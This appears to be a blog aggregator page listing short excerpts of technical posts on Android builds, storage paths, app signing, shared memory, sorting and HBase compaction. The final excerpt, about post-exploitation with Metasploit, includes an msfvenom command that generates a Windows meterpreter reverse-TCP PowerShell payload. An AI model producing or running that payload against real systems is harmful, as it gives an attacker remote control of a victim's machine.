How to Compile Ceres Android Library with NDK under Mac

How to Compile Ceres Android Library with NDK under Mac Preface Dead work Modify Android.mk content Preface There are many tutorials about Ceres installation on the Internet, but Ceres Android library is really very few, Ceres official website for Android version is also a word skipped. Even i ...

Posted by griemar on Mon, 12 Aug 2019 05:40:34 -0700

A Brief Analysis of the Common Storage Paths of Android Mobile Phones

Memory and External Memory: Early Android phones were divided into memory and external memory. Memory was provided by mobile phones, and external memory could be added. Nowadays, Android phones generally have only memory, no external memory. Running memory other memory: Memory can be divided into ...

Posted by mgelinas on Sun, 11 Aug 2019 23:55:19 -0700

Automatic system signature based on gradle+shell

Preface Sometimes our application needs system-level privileges to implement some functions (such as silent installation), at this time we need to sign the application, package the APK for routine operations, decompress the apk, delete CERT.RSA and META-INF. CERT.SF, then compressed, signed with the system signature tool, a meal may be 10 minut ...

Posted by Mardoxx on Fri, 09 Aug 2019 05:14:54 -0700

Android native Interprocess Communication Instance-binder Combined with Shared Memory

Under the driver directory of Android source code, there will be related implementation source codes of shared memory. The directory is: kernel drivers staging android ashmem.c. But this article is not about the principle of Android shared memory, but about how to use it.   1.  In linux, different processes have their own independent memory ...

Posted by ziegel on Fri, 09 Aug 2019 04:13:40 -0700

Case 11. Grouping of personnel

The requirements are as follows: 1) Assume that there are 72 persons in total (providing a list of persons with the name of Chinese Pinyin) 2) Seven groups 3) To ensure the randomness of the personnel distribution group, that is, the results of each execution of the script should be different. Knowledge Point 1: Generating Random Numbers In L ...

Posted by ronverdonk on Fri, 09 Aug 2019 00:12:25 -0700

quick sort of data structure sort

The next few blogs are about sorting: insertion sorting, exchange sorting, selection sorting; Insertion class sorting includes direct insertion sort, bianry insertion sort, and Shell sort. The sorting of exchange classes mainly includes bubble sort and quick sort. Selection sort includes simple se ...

Posted by QbertsBrother on Thu, 08 Aug 2019 21:57:55 -0700

Getting shell script output in Linux C-c program (such as getting system command output)

Catalog 1. Use of temporary documents 1.1 Reorientation using shell 1.2 freopen standard output to file 2. Use anonymous pipes 3. Use popen 4. Summary 1. Use of temporary documents 1.1 Reorientation using shell The first idea is to redirect the command output to a temporary file, read the t ...

Posted by cairesdesigns on Thu, 08 Aug 2019 00:38:19 -0700

compact Source of Hbase Source Code

In compact 1, the scheduling process of HBASE compact is introduced. This article mainly introduces the actual process of compact. First access from the chore in the above, in the compact Checker chore method in HRegionserver, we will determine whether compact is needed, as follows: protected void chore() { //Loop detection by travers ...

Posted by gizzmo on Tue, 06 Aug 2019 02:52:14 -0700

Some Front End Algorithms are detailed - (Updates from time to time)

Preface I don't share the algorithm by difficulty because I'm more casual, so you can see that sometimes the order changes because when I publish, I modify the position by difficulty so that you can start with simplicity as much as possible.Add an update time for each update in the future to let you know my progress.Add a timer function to visu ...

Posted by The Phoenix on Mon, 05 Aug 2019 19:05:51 -0700

One-stop package after msf gets shell

Links to the original text: https://xz.aliyun.com/t/2536#toc-16 generate ps Rebound script msfvenom  -p   windows/x64/meterpreter/reverse_tcp  lhost=192.168.1.123   lport=12345  -f  psh-reflection>/tmp/search.ps1 msf Monitoring re ...

Posted by mattfoster on Sat, 03 Aug 2019 03:10:09 -0700